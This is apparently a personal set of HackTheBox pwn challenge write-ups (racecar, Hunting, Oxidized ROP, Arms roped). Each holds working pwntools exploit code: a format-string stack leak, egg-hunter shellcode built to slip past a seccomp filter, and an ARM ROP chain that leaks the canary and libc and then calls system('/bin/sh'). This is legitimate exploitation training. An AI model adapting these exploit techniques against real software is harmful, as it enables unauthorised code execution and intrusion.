HTB_Challenges

PWN:

racecar:

fmtstr to leak the flag on stack

from pwn import *
context(log_level='debug',arch='x86',terminal=['tmux','splitw','-h'])

# io=process("./racecar")
io=remote("188.166.175.58",31520)
elf=ELF("./racecar")

# flag \x0b\x0f 

io.sendlineafter(b"Name: ",b"1")
io.sendlineafter(b"Nickname: ",b"1")
io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"> ",b"1")

io.sendlineafter(b"> ",b"2")

# gdb.attach(io)
# pause()

io.sendlineafter(b"> ",b"aaaa%12$x.%13$x.%14$x.%15$x.%16$x.%17$x.%18$x.%19$x.%20$x.%21$x.%22$x.aaaa")

io.recvuntil(b"aaaa")
raw_data=io.recvuntil(b"aaaa",drop=True)
print("raw_data: ",raw_data)

flag=""

nums=["7b425448","5f796877","5f643164","34735f31","745f3376","665f3368","5f67346c","745f6e30","355f3368","6b633474","7d213f"]

for strs in nums:
    i = len(strs)-2
    while i >= 0:
        num = strs[i:i+2]
        print(chr(int(num,16)),end="")
        i = i-2

# print("flag: ",flag)

io.interactive()

Hunting:

have rwx on stack , while there is some limitation

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x20 0x00 0x00 0x00000000  A = sys_number
 0002: 0x35 0x0a 0x00 0x40000000  if (A >= 0x40000000) goto 0013
 0003: 0x15 0x09 0x00 0x0000000b  if (A == execve) goto 0013
 0004: 0x15 0x08 0x00 0x00000166  if (A == execveat) goto 0013
 0005: 0x15 0x07 0x00 0x00000127  if (A == openat) goto 0013
 0006: 0x15 0x06 0x00 0x00000005  if (A == open) goto 0013
 0007: 0x15 0x05 0x00 0x00000006  if (A == close) goto 0013
 0008: 0x15 0x04 0x00 0x00000008  if (A == creat) goto 0013
 0009: 0x15 0x03 0x00 0x00000056  if (A == uselib) goto 0013
 0010: 0x15 0x02 0x00 0x00000002  if (A == fork) goto 0013
 0011: 0x15 0x01 0x00 0x000000be  if (A == vfork) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

and it has read the flag on a random addr start from 0x5FFFFFFF ,
choose egg hunting as the trick to solve this , basically modified the original asm from here
modified version:

global _start


section .text


_start:
  push 0x80                
  pop ebx                 ; time 
  push 0x1b               ; system call number (sys_alarm)
  pop eax
  int 0x80                ; call kernel
  mov edi, dword 0x7b425448  ; EGG {BTH
  mov edx, 0x5FFFFFFF        ; start addr

next_page:
  or dx, 0xfff            ; dx=4095 ; 0x1000 - 1 (4095) ; Page sizes in Linux x86 = 4096

next_address:
  inc edx                 ; edx = 4096
  pusha                   ; push all of the current general purposes registers onto the stack
  xor ecx, ecx            ; access arg2 -> 0
  lea ebx, [edx + 0x4]    ; address to be validated for memory violation
  mov al, 0x21            ; access systemcall
  int 0x80
  cmp al, 0xf2            ; compare return value, bad address = EFAULT (0xf2)
  popa                    ; get all the registers back
  jz next_page            ; jump to next page if EFAULT occurs
  cmp [edx], edi          ; compare 1st egg
  jnz next_address        ; jump to next address if NOT egg
  push 0x1
  pop ebx           ; stdout
  mov ecx, edx      ; address to write
  push 0x50
  pop edx           ; length
  mov	al, 0x4		; system call number (sys_write)
  int	0x80		; call kernel

then we use following commands to dump the shellcode

nasm -f elf32 -o egg.o egg.asm
ld -m elf_i386 egg.o -o egg
objdump -d ./egg | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

exp:

from pwn import *
context(log_level='debug',arch='x86',os='linux',terminal=['tmux','splitw','-h'])

# io=process("./hunting")
io=remote("188.166.175.58",31599)
elf=ELF("./hunting")

shellcode=b"\x68\x80\x00\x00\x00\x5b\x6a\x1b\x58\xcd\x80\xbf\x48\x54\x42\x7b\xba\xff\xff\xff\x5f\x66\x81\xca\xff\x0f\x42\x60\x31\xc9\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xeb\x39\x3a\x75\xec\x6a\x01\x5b\x89\xd1\x6a\x50\x5a\xb0\x04\xcd\x80"

# gdb.attach(io)
# pause()

io.send(shellcode)

io.interactive()

Oxidized ROP

written by rust , logical vuln and how rust parse our input are key to this chall
in a word we need to fulfil the check
0x55f494f01897 <oxidized_rop::present_config_panel+7> cmp dword ptr [rdi], 1e240h
and the low bytes of [rdi] will be replaced by a unicode we input in option1 , use the following

# **𞉀**

## U+1E240

### [0x1E240](https://numeral.bayashi.net/0x1E240 "𞉀 - 0x1E240")

exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./oxidized-rop")
# io=remote("159.65.20.166",30248)
elf=ELF("./oxidized-rop")

# gdb.attach(io)
# pause()

io.sendlineafter(b"Selection: ",b"1")
io.sendlineafter(b" (max 200 characters): ","𞉀"*199)
io.sendlineafter(b"Selection: ",b"2")


io.interactive()

Arms roped:

annoying chall without correct libc in docker , 0 out of 10 😅😅😅
several points need to mention:

  • \x00 cut off when leaking addr
  • ARM instruction alignment
  • disturbing offsets 😅😅😅
from pwn import *
import sys
# remote_addr = ["167.99.82.136",32375]
remote_addr = ["167.99.85.216",31954]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
    context.log_level="debug" 
    io = process(["qemu-arm", "-L", ".", "-g","1234","./arms_roped"]) 
    elf = ELF("./arms_roped")
    # libc = ELF("./arm-linux-gnueabihf/lib/libc.so.6")
    # io = process(["qemu-arm", "-L", ".", "./rop"]) 
    # io = process("./rop")
    context(arch='arm',endian='little',bits='32',os='linux')
    context.terminal = ['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        context(arch='arm',endian='little',bits='32',os='linux')
        io = remote(remote_addr[0],remote_addr[1])
        elf = ELF("./arms_roped")
        # libc = ELF("./arm-linux-gnueabihf/lib/libc.so.6")
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 
        #context(arch = 'amd64', os = 'linux')

### leak canary
payload=b"a"*0x21
io.sendline(payload)

io.recvuntil(b"a"*0x21)
canary=u32(io.recv(3)[-4:].rjust(4,b"\x00"))
log.success("canary: "+hex(canary))


### leak base
payload=b"a"*0x30
io.sendline(payload)

io.recvuntil(b"a"*0x30)
# base_addr=u32(io.recv(4).ljust(4,b"\x00"))+0x40000000-0x948
base_addr=u32(io.recv(4).ljust(4,b"\x00"))-0x948
log.success("base_addr: "+hex(base_addr))


### leak libc
payload=b"a"*0x48
io.sendline(payload)

io.recvuntil(b"a"*0x48)
leak_addr=u32(io.recv(4).ljust(4,b"\x00"))-153-0x1748C
log.success("leak_addr: "+hex(leak_addr))

# sys_addr=leak_addr+0x2F5C8 9.9
sys_addr=leak_addr+0x2F510+1  # alignment
### 0002F510

# str_sh=leak_addr+0x0DCE38 9.9
str_sh=leak_addr+0x0DCE0C
### 00DCE0C

log.success("sys_addr: "+hex(sys_addr))
log.success("str_sh: "+hex(str_sh))


# 0x000009ec: pop {r4, r5, r6, r7, r8, sb, sl, pc};
# 0x000009d8: mov r0, r7; add r4, r4, #1; blx r3;
# 0x0000056c: pop {r3, pc};

mov_all=base_addr+0x9d8
pop_r4_r5_r6_r7_r8_sb_sl_pc=base_addr+0x9ec
pop_r3_pc=base_addr+0x56c


log.success("mov_all: "+hex(mov_all))
log.success("pop_r4_r5_r6_r7_r8_sb_sl_pc: "+hex(pop_r4_r5_r6_r7_r8_sb_sl_pc))
log.success("pop_r3_pc: "+hex(pop_r3_pc))


payload=cyclic(0x20)+p32(canary)+p32(0xdeadbeef)*3
payload+=p32(pop_r4_r5_r6_r7_r8_sb_sl_pc)

payload+=p32(0)*3
payload+=p32(str_sh) # r7->str_sh
payload+=p32(0)*3
payload+=p32(pop_r3_pc)

payload+=p32(sys_addr)+p32(mov_all)

io.sendline(payload)

# io.sendline(b"quit")

io.interactive()